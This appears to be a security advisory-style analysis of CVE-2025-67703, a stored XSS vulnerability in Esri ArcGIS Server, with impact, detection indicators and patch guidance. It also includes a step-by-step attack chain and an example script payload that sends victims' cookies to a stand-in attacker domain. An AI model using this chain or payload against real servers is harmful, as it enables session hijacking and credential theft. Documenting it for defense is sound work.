CVE-2025-67703: 
ArcGIS Server vulnerability analysis and mitigation

CVE-2025-67703 is a stored cross-site scripting (XSS) vulnerability in Esri ArcGIS Server versions 11.4 and earlier on both Windows and Linux platforms. In certain configurations, a remote unauthenticated attacker can upload or store files containing malicious code that may execute in the context of a victim's browser. The vulnerability was published on December 31, 2025, and a patch was made available via the ArcGIS Server Security 2025 Update 2 Patch. It carries a CVSS v3.1 base score of 6.1 (Medium) (Esri Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. In certain ArcGIS Server configurations, the application fails to properly validate or sanitize user-supplied file content before storing it, allowing an unauthenticated attacker to upload files embedding malicious JavaScript. When a victim subsequently accesses or views the affected content through their browser, the malicious script executes in the victim's browser context with the privileges of the authenticated session. No user privileges are required for the attacker, but user interaction (a victim viewing the content) is necessary for exploitation (Esri Advisory).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim. The vulnerability affects confidentiality and integrity at a low level (per CVSS scoring) and does not impact availability. Depending on the privileges of the victim user, exploitation could facilitate further lateral movement within the ArcGIS environment or exposure of sensitive geospatial data (Esri Advisory).

As of the time of reporting, there is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation. The EPSS score is approximately 0.04%, indicating a low probability of exploitation in the near term. No threat actor attribution has been made, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Esri Advisory).

1. Reconnaissance: Identify internet-facing ArcGIS Server instances running version 11.4 or earlier using tools like Shodan or Censys, or by browsing to the ArcGIS Server REST endpoint to confirm the version.
2. Identify vulnerable configuration: Determine whether the target instance is configured to allow unauthenticated file uploads or storage of user-supplied content (e.g., specific service endpoints that accept file input without authentication).
3. Craft malicious file: Prepare a file (e.g., HTML, SVG, or other supported format) containing embedded JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>.
4. Upload/store the malicious file: Submit the crafted file to the vulnerable ArcGIS Server endpoint without authentication, leveraging the misconfigured file storage capability.
5. Deliver link to victim: Trick a victim (e.g., an authenticated ArcGIS user) into accessing the URL where the malicious file is stored, via phishing or social engineering.
6. Harvest results: When the victim's browser renders the stored content, the malicious script executes, sending session cookies or credentials to the attacker-controlled server (Esri Advisory).

• Network: Unexpected outbound HTTP/HTTPS requests from client browsers to unknown external domains shortly after accessing ArcGIS Server content; unusual POST requests to ArcGIS Server file upload endpoints from unauthenticated sources.
• File System: Presence of unexpected HTML, SVG, or script files in ArcGIS Server upload or content directories containing <script> tags or encoded JavaScript payloads.
• Logs: ArcGIS Server access logs showing unauthenticated file upload requests (POST) to service endpoints; repeated access to stored files by multiple different user sessions.
• Process/Browser: Victim browsers making unexpected requests to external domains immediately after loading ArcGIS Server pages, potentially visible in browser developer tools or proxy logs.

Esri has released the ArcGIS Server Security 2025 Update 2 Patch to address this vulnerability; administrators should apply this patch immediately for all affected ArcGIS Server instances (versions 10.9.1 through 11.4) (Esri Advisory). As interim mitigations, administrators should review and restrict file storage configurations to require authentication for any file upload functionality, implement input validation and output encoding, and deploy Content Security Policy (CSP) headers to limit script execution. Monitoring for suspicious or unexpected file uploads to ArcGIS Server endpoints is also recommended.

Coverage of CVE-2025-67703 has been limited to vulnerability aggregator sites and security news feeds, with no notable researcher commentary or significant social media discussion identified. The vulnerability was catalogued by ENISA's EUVD database (EUVD-2025-206104) and referenced by several CVE tracking platforms shortly after disclosure (Esri Advisory).